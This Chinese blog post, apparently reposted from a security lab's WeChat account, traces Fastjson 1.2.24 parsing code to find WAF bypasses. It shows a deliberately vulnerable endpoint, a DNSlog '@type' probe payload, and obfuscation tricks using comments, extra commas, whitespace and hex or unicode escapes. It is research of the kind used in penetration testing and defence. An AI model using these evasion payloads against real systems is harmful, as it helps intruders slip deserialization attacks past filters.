Java反序列化安全 | Fastjson反序列化waf绕过

01 环境准备

漏洞环境这里我是使用了springboot-spel-rce的环境,漏洞环境下载地址为:https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce

在当前的环境下进行了如下的改造:

1

在pom.xml中添加fastjson依赖。

<dependency>    <groupId>com.alibaba</groupId>    <artifactId>fastjson</artifactId>    <version>1.2.24</version></dependency>
Java反序列化安全 | Fastjson反序列化waf绕过

2

在控制模块的Article.java文件中加上了如下代码:

@RequestMapping("/json")public Object json(String id){    return JSON.parse(id);
Java反序列化安全 | Fastjson反序列化waf绕过

02 漏洞复现

漏洞测试的poc为:

{“@type”:”java.net.Inet4Address”,”val”:”vjpvnkvbiz.dgrh3.cn”}

复现的漏洞函数就是从代码中的JSON.parseObject(json)开始,其中json就是上面的数据。

开始跟进。

先进入到JSON.parseObject函数中其内容如下:

public static JSONObject parseObject(String text) {    Object obj = parse(text);    if (obj instanceof JSONObject) {        return (JSONObject) obj;    }

传的值变成了text参数,然后在parseObject函数的第一行将text传入到JSON.parse函数里面去了。并将返回的结果传给当前创建的obj参数。

这里就继续跟进到JSON.parse函数里面。

public static Object parse(String text) {    return parse(text, DEFAULT_PARSER_FEATURE);}

这个函数添加了个参数,DEFAULT_PARSER_FEATURE,其值在当前1.2.24版本中为989,继续跟进JSON.parse函数。

public static Object parse(String text, int features) {    if (text == null) {        return null;    }    DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);    Object value = parser.parse();    parser.handleResovleTask(value);    parser.close();    return value;}

在JSON.parse函数里面,先对我们传入的数据进行了判断,如果为null,直接返回null。

在不是null的情况下,调用了DefaultJSONParser对我们的传入的数据进行解析。这里继续跟进DefaultJSONParser的构造方法。

public DefaultJSONParser(final String input, final ParserConfig config, int features){    this(input, new JSONScanner(input, features), config);}

在该函数内,input和config都是前面传的值不变,但是feature值从989变成了一个JSONScanner对象,该对象初始化并且使用到了input和feature的默认值989。这里跟进JSONScanner的构造函数:

public JSONScanner(String input, int features){    super(features);    text = input;    len = text.length();    bp = -1;    next();    if (ch == 65279) { // utf-8 bom        next();    }}

在JSONScanner函数内第一个执行了super函数,这里看看这个super函数的作用:

super和this区别是:this可以看做一个引用变量,保存了该对象的地址,是当前对象整体,而super代表的是父类型特征,是子类局部的一些东西,这些继承过来的东西已经在子类里面了,你可以输出整体this,但不能输出父类型特征super。因为super指向的东西不是一个整体,没法打印输出。

简单的来说就是JSONScanner的父类的构造方法:

public final class JSONScanner extends JSONLexerBase

可以看见JSONScanner的父类即JSONLexerBase对象。其构造函数如下:

public JSONLexerBase(int features){    this.features = features;    if ((features & Feature.InitStringFieldAsEmpty.mask) != 0) {        stringDefaultValue = "";    }    sbuf = SBUF_LOCAL.get();    if (sbuf == null) {        sbuf = new char[512];    }}

这个函数执行了些函数,对feature函数的值进行了初始化。因为对后续的复现关系不大,先跳过这个函数。在JSONScanner的构造函数内继续:将input的值赋值给了text,然后len的值为text的长度,在将bp赋值为-1,进入到了next函数里面:

    int index = ++bp;    return ch = (index >= this.len ? //        EOI //char EOI  = 0x1A;        : text.charAt(index));

这里将bp的值先加一赋值给了index,然后进行了判断和赋值,如果下标(index)小于传进来的数据的长度,就将ch值赋值为数据的下标的值,如果大于等于就将ch的值赋值为char型的0x1a的值。

回到代码这里,ch的值是下表为0的{,其ascii的值为123,在if语句中进行了比较,不等于65279,所以将直接跳过。进入到DefaultJSONParser函数中,在该函数中也是直接返回数据到另外一个DefaultJSONParser的构造函数中,这个函数的代码比较长,具体位置为com.alibaba.fastjson.parser.DefaultJSONParser.java中,代码位置在175行到191行。

public DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config){    this.lexer = lexer;    this.input = input;    this.config = config;    this.symbolTable = config.symbolTable;
   int ch = lexer.getCurrent();    if (ch == '{') {        lexer.next();        ((JSONLexerBase) lexer).token = JSONToken.LBRACE;    } else if (ch == '[') {        lexer.next();        ((JSONLexerBase) lexer).token = JSONToken.LBRACKET;    } else {        lexer.nextToken(); // prime the pump    }}

这里的input还是我传入的数据,其次就是这个lexer,翻译是词法解析器,其值是上面的JSONScanner返回的解析器。

前面几行都是赋值,到了lexer.getCurrent()函数里面,这个函数直接返回了lexer对象的ch,即上面分析的输入的第一个值{,然后后面在进行判断。并且在这里的代码处对lexer对象的token值根据第一个输入的值进行了判断,对里面的token值进行了判断。这里ch的值为{,所以直接将lexer.token=JSONToken.LBRACE。如果第一个值为[,那么就进行下面的JSONToken.LBRACKET里面。

在这里也就是针对绕过的第一个输入的位置,通过源码可以发现,我们可以传入的第一个字符的值应该为{或者[,如果两者都不是,那么就转到了lexer.nextToken函数里面。这里来看看nextToken函数:

public final void nextToken() {    sp = 0;    for (;;) {        pos = bp;        if (ch == '/') {            skipComment();            continue;        }        if (ch == '"') {            scanString();            return;        }        if (ch == ',') {            next();            token = COMMA;            return;        }        if (ch >= '0' && ch <= '9') {            scanNumber();            return;        }        if (ch == '-') {            scanNumber();            return;        }        switch (ch) {            case ''':                if (!isEnabled(Feature.AllowSingleQuotes)) {                    throw new JSONException("Feature.AllowSingleQuotes is false");                }                scanStringSingleQuote();                return;            case ' ':            case 't':            case 'b':            case 'f':            case 'n':            case 'r':                next();                break;            case 't': // true                scanTrue();                return;            case 'f': // false                scanFalse();                return;            case 'n': // new,null                scanNullOrNew();                return;            case 'T':            case 'N': // NULL            case 'S':            case 'u': // undefined                scanIdent();                return;            case '(':                next();                token = LPAREN;                return;            case ')':                next();                token = RPAREN;                return;            case '[':                next();                token = LBRACKET;                return;            case ']':                next();                token = RBRACKET;                return;            case '{':                next();                token = LBRACE;                return;            case '}':                next();                token = RBRACE;                return;            case ':':                next();                token = COLON;                return;            default:                if (isEOF()) { // JLS                    if (token == EOF) {                        throw new JSONException("EOF error");                    }
                   token = EOF;                    pos = bp = eofPos;                } else {                    if (ch <= 31 || ch == 127) {                        next();                        break;                    }                    lexError("illegal.char", String.valueOf((int) ch));                    next();                }
               return;        }    }
}

nextToken这个函数,如果开始字符是/,那么就会调用skipComment函数。

如果遇到了空格,’t’,’b’,’f’,’n’,’r’那么就会调用next函数进行跳过。

所以这里我尝试构造如下poc:

/*xxx*/{“a”:”b”}以及//xxxxn{“a”:”b”}都是可以成功解析的。

在赋值完后,返回到了DefaultJSONParser的构造函数中,并在该函数内进一步进行向上的返回。来到了JSON.parse函数中。将值赋值了给parser对象。并在下一行进入到了parser.parse()。

Java反序列化安全 | Fastjson反序列化waf绕过

在这里进入到DefaultJSONParser.parse函数中。

public Object parse() {    return parse(null);

继续跟进。

public Object parse(Object fieldName) {    final JSONLexer lexer = this.lexer;    switch (lexer.token()) {        case SET:            lexer.nextToken();            HashSet<Object> set = new HashSet<Object>();            parseArray(set, fieldName);            return set;        case TREE_SET:            lexer.nextToken();            TreeSet<Object> treeSet = new TreeSet<Object>();            parseArray(treeSet, fieldName);            return treeSet;        case LBRACKET:            JSONArray array = new JSONArray();            parseArray(array, fieldName);            if (lexer.isEnabled(Feature.UseObjectArray)) {                return array.toArray();            }            return array;        case LBRACE:            JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));            return parseObject(object, fieldName);        case LITERAL_INT:            Number intValue = lexer.integerValue();            lexer.nextToken();            return intValue;        case LITERAL_FLOAT:            Object value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));            lexer.nextToken();            return value;        case LITERAL_STRING:            String stringLiteral = lexer.stringVal();            lexer.nextToken(JSONToken.COMMA);
           if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {                JSONScanner iso8601Lexer = new JSONScanner(stringLiteral);                try {                    if (iso8601Lexer.scanISO8601DateIfMatch()) {                        return iso8601Lexer.getCalendar().getTime();                    }                } finally {                    iso8601Lexer.close();                }            }
           return stringLiteral;        case NULL:            lexer.nextToken();            return null;        case UNDEFINED:            lexer.nextToken();            return null;        case TRUE:            lexer.nextToken();            return Boolean.TRUE;        case FALSE:            lexer.nextToken();            return Boolean.FALSE;        case NEW:            lexer.nextToken(JSONToken.IDENTIFIER);
           if (lexer.token() != JSONToken.IDENTIFIER) {                throw new JSONException("syntax error");            }            lexer.nextToken(JSONToken.LPAREN);
           accept(JSONToken.LPAREN);            long time = ((Number) lexer.integerValue()).longValue();            accept(JSONToken.LITERAL_INT);
           accept(JSONToken.RPAREN);
           return new Date(time);        case EOF:            if (lexer.isBlankInput()) {                return null;            }            throw new JSONException("unterminated json string, " + lexer.info());        case ERROR:        default:            throw new JSONException("syntax error, " + lexer.info());    }}

代码看了下,感觉有点长,就是一个针对上面说的token的一个匹配。上面的DefaultJSONParser构造函数中通过读取第一个有效字符让token的值为13({),其对应的值就是LBRACE。

Java反序列化安全 | Fastjson反序列化waf绕过

在这里进入到lexer.isENabled函数中。

public final boolean isEnabled(Feature feature) {    return isEnabled(feature.mask);}

这里mask的值是16384,继续跟进。

public final boolean isEnabled(int feature) {    return (this.features & feature) != 0;}

在这里进行了判断和返回,返回是个bool类型的值,通过上面的mask和之前的feature的值进行并运算,向上返回后发现,这里的返回值是false。

&按位与的运算规则是将两边的数转换为二进制位,然后运算最终值,运算规则即(两个为真才为真)1&1=1 , 1&0=0 , 0&1=0 , 0&0=0

上面就是针对为什么989和16384返回的值是false。

再回到JSON.parse函数中,进入到JSONObject函数的构造中。

public JSONObject(boolean ordered){    this(DEFAULT_INITIAL_CAPACITY, ordered);}

ordered值为false,DEFAULT_INITIAL_CAPACITY的值为16继续跟进。

public JSONObject(int initialCapacity, boolean ordered){    if (ordered) {        map = new LinkedHashMap<String, Object>(initialCapacity);    } else {        map = new HashMap<String, Object>(initialCapacity);    }}

因为其值为false,所以这里进入到else语句中,map变量的值为一个新的HashMap的对象。这里查了下linkedhashmap和hashmap的区别:

LinkHashMap继承HashMap,所以拥有绝大部分HashMap的特性。

HashMap因为index是随机生成的,所以每次put,存放的位置是无序的。(虽然节点类有next,但这个单链表仅是在同一个index的坑位,是串联的^^)

LinkedHashMap通过额外维护一个双向链表,来保证迭代顺序。所以它是有序的。即,它是有办法知道谁先入,谁后入的。当然,为此也增加了时间/空间的开销。

这里继续在这里跟进,这里在创建hashmap后,也是直接向上进行了返回。

Java反序列化安全 | Fastjson反序列化waf绕过

并在DefaultJsonParser.parse函数中进入到parseObject函数里面。

parseObject函数从205到595行,感觉不太好把这么多内容复制进来,这里就针对代码,使用图片把关键需要展示的截下来。

Java反序列化安全 | Fastjson反序列化waf绕过

Token值为12,即{,所以前面三个if语句都为false,不执行,这里将context值设置为null后,进入到了try语句里面,在该函数中,先把setContextFlag的值设置为了false,就进入到了for循环中,在这个循环中,调用了我在网上看见的第二个可尝试绕过的函数skipWhitespace:相关文章如下:浅谈Fastjson绕waf (y4tacker.github.io),在这个的基础上,看看怎么利用该函数具体是怎么绕过的。

public final void skipWhitespace() {    for (;;) {        if (ch <= '/') {            if (ch == ' ' || ch == 'r' || ch == 'n' || ch == 't' || ch == 'f' || ch == 'b') {                next();                continue;            } else if (ch == '/') {                skipComment();                continue;            } else {                break;            }        } else {            break;        }    }}

在上面的构造中,调用了next函数,让ch从{变成了”,即传入的值的第二个值,在第一个if语句中,将ch和/进行了大小的比较,采用的是ascii的十进制进行比较,/的值为47,”的值为34。If结果为true,进入到下一个if语句中:第一个if是针对空格,r,nt,f,b,这个字符,调用了next函数,该函数在上面已经经过一遍了,个人的理解就是,next函数会将ch下标加一。相当于直接跳过当前的字符。那么具体的针对poc或者是exp的就是,在{后面,在前面的switch中,通过{字符,进到这个skipWhitespace函数中。所以可以在{后面插入空格,r,nt,f,b这些字符,也不影响相关poc或者exp的利用。同时是for的无线循环的情况下,我们可以打很多这样的字符,也可以尝试某些waf有长度限制的检测进行绕过。

这里打的poc是{“@type”:”java.net.Inet4Address”,”val”:”vjpvnkvbiz.dgrh3.cn”},在{后的值为”并不属于相关字符,所以在当前的debug就直接跳过了skipWhitespace函数,我们继续跟进。

Java反序列化安全 | Fastjson反序列化waf绕过

在跟进到这个if中,在这里又一次调用了lexer.isEnabled函数这次传的参数的mask值为64,将64和989进行了&运算并且和!0运算返回为true。进入到了while,但是此时的ch值为”,直接退出当前的if。同时在这里任然可以进行添加英文格式的逗号进行绕过,继续往下看。

Java反序列化安全 | Fastjson反序列化waf绕过

在这里if,判断ch值是否为”,然后进入到if语句中,这里通过lexer对象调用了scanSymbol函数。该函数的在JSONLexerBase.java中,代码是从603到803行。

先看看前面的三个if语句。

Java反序列化安全 | Fastjson反序列化waf绕过

在通过参考上面绕过waf文章的内容,可以确定的就是在这里,对我们传入的”后面的数据进行了处理。第一个if就如果还是”,那么就达成了闭合,直接跳出当前循环,第二个就是如果字符就是u001a,直接进行报错。主要就是第三个if语句了如果是开头,那么就进入到这个if进行处理。

这里为了方便测试,我将poc改成了:

{“x40u0074u0079u0070u0065″:”java.net.Inet4Address”,”val”:”dvbkxehibj.dgrh3.cn”}

@使用十六进制转换,后面的type则是使用unicode进行转换。

Java反序列化安全 | Fastjson反序列化waf绕过

可以看见,将x40转换为我们想要的@值,然后调用了putChar函数,这里跟进下这个putChar函数。

protected final void putChar(char ch) {    if (sp == sbuf.length) {        char[] newsbuf = new char[sbuf.length * 2];        System.arraycopy(sbuf, 0, newsbuf, 0, sbuf.length);        sbuf = newsbuf;    }    sbuf[sp++] = ch;}

将ch的值写入到了sbuf里面。后面的unicode也是如此。

Java反序列化安全 | Fastjson反序列化waf绕过

在这里读取unicode的值,然后转为ascii的十进制,然后执行putChar函数。

在通过scanSymbol函数获取到””包裹的值后,返回到DefaultJSONParser.java下的parseObject函数内,并将获取的值传给key。

Java反序列化安全 | Fastjson反序列化waf绕过

可以看见在这里又一次调用了lexer. skipWhitespace函数。

这里为了测试这个skipWhitespace函数,我又将写入的数据改了下:

{“x40u0074u0079u0070u0065″ :”java.net.Inet4Address”,”val”:”dvbkxehibj.dgrh3.cn”}

在”和:之间加了个空格。测试可见也是可以执行的。

接着往下进行,直接到了:

Java反序列化安全 | Fastjson反序列化waf绕过

在上个图中可以看见这个isObjectKey被设置为了false,这里做!运算,导致结果为true。然后在这里又执行了skipWhitespace函数。接着往下走,到resetStringPosition这个函数,这里将当前对象的sp值重置为0。接着看下面:

Java反序列化安全 | Fastjson反序列化waf绕过

在这个if语句中,上面得到的key的值为@type,if返回true,第一行就直接获取了@type的值,scanSymbol函数已经跟过了,所以不重复跟进。可以知道的是,scanSymbol函数内的参数是可以转十六进制或者是unicode编码的。

继续跟进在当前if语句下,大部分的if都没有经过,在获取到@type的值后,直接进行了反序列化。

Java反序列化安全 | Fastjson反序列化waf绕过

第一个ObjectDeserializer deserializer = config.getDeserializer(clazz);这个就是返回我们的类名称,主要是下面这个deserializer.deserialze函数,我们跟进看看。

Java反序列化安全 | Fastjson反序列化waf绕过

前面都是些赋值的操作,在标点处进入到了parser.accept函数里面。

public final void accept(final int token) {    final JSONLexer lexer = this.lexer;    if (lexer.token() == token) {        lexer.nextToken();    } else {        throw new JSONException("syntax error, expect " + JSONToken.name(token) + ", actual "                                + JSONToken.name(lexer.token()));    }}

难得的比较短的函数,在这里的if语句token值都是16,进入到了lexer.nextToken函数中。

Java反序列化安全 | Fastjson反序列化waf绕过

在这里可以看见我们的ch值为”,这个应该是poc里面的那个逗号后面的第一个字符。

通过if语句进入到了scanString函数中:该函数和scanSymbol类似。

Java反序列化安全 | Fastjson反序列化waf绕过

在匹配到的时候,在匹配关键词x和u,然后分别进行转码,所以poc的部分也可以使用unicode和十六进制编码进行绕过。其次就是我看了下相关的代码:

case 't': // 9    putChar('t');    break;case 'n': // 10    putChar('n');    break;case 'v': // 11    putChar('u000B');    break;case 'f': // 12case 'F':    putChar('f');

返回到parser.accept函数里面,进行如下的判断:

Java反序列化安全 | Fastjson反序列化waf绕过

在前面已经将lexer的token值设置为了状态4,进入到当前的if语句中,这里指定了我们的参数的名称必须要为val,否则就要报错。然后就进入到了lexer.nextToken函数中,在这个时候ch的值为:,即”val”:的:,在nextToken中有。

if (ch == '/') {    skipComment();    continue;}

所以这地方也可以尝试加入相关的数据。

在这里传入的数据并没有相关的数据,所以没经过该函数后续可以再测测。

Java反序列化安全 | Fastjson反序列化waf绕过

这里就是经过了如上代码,并将token设置为了COLON。然后向上返回,回到deserialze函数中。

Java反序列化安全 | Fastjson反序列化waf绕过

执行了parser.accept函数,这里继续跟进。

public final void accept(final int token) {    final JSONLexer lexer = this.lexer;    if (lexer.token() == token) {        lexer.nextToken();    } else {        throw new JSONException("syntax error, expect " + JSONToken.name(token) + ", actual "                                + JSONToken.name(lexer.token()));    }}

代码还是上面的,同样也是进入到了nextToken函数中,所以这个的流程和上面相同。这里就不多复述了。

后续获取到值后就会到MiscCodec.java文件中的deserialze进行对dnslog的数据进行访问。

Java反序列化安全 | Fastjson反序列化waf绕过

该poc的总体的流程感觉差不多都走完了。





 总   结 

1

从DefaultJSONParser构造函数中中开始匹配第一个字符,在这里可以调用nextToken函数,在该函数内可以使用/**/或者是//或者是空格,’t’,’b’,’f’,’n’,’r’的匹配。然后会跳过这些字符,所以在一开始的时候可以添加注释符号进行部分的绕过。

同时在后面每次对字符进行扫描的时候,都会用到该函数。所以,在json格式的中非双引号包裹的字符中,都可以使用nextToken函数可以绕过的匹配。

2

其次就是针对双引号内包裹的key:value中的值,该值在代码上调用了scanSymbal和scanString函数进行扫描,然后会对每个字符进行扫描,同时对x和u开头的字符进行解码,所以针对双引号内的字符串,都可以进行unicode进行编码,或者转十六进制。不过这里需要提一下的是scanSymbal和scanString函数针对的是单个字符一个一个的进行扫描,所以在进行hex编码时,应该一个一个字符进行编码,如果针对整个字符串,那么就会无法执行。

3

再就是针对开头的Feature.AllowArbitraryCommas参数,该参数在1.2.24版本是默认开启的,其具体的作用就是开启的情况下,对英文逗号进行跳过,经过测试可以发现,在json格式的每个key:vale之间,可以添加多个英文逗号进行绕过。

在上面的基础上,我们就可以构造一个这样的poc:

{“username”:”test”, “test”:”abs”}

/*xxx*/ {/*xxx*/ ,,,”x75x73x65x72u006eu0061u006du0065″/*xxx*/ :/*xxx*/ “u0074u0065u0073u0074″/*xxx*/ ,,,,,,”test”:”abs”,,,,}/*xxx*/

Java反序列化安全 | Fastjson反序列化waf绕过

Poc成功被解析。

后续换了几个版本的fastjson发现,该绕过方式在1.24.47,1.2.68,1.2.83版本都可以成功的执行。所以该poc应该在fatsjson的1.0系列都可以成功的针对部分waf进行绕过。

这里主要讲的是针对实战环境下的一些场景,在我们直接打poc/exp的时候,可能被waf拦截的可能性,这里主要针对就是fastjson源码这块有可能绕过的规则和其绕过的相关原理。

Java反序列化安全 | Fastjson反序列化waf绕过

原文始发于微信公众号(中尔安全实验室):Java反序列化安全 | Fastjson反序列化waf绕过

版权声明:admin 发表于 2024年10月18日 下午5:32。
转载请注明:Java反序列化安全 | Fastjson反序列化waf绕过 | CTF导航

相关文章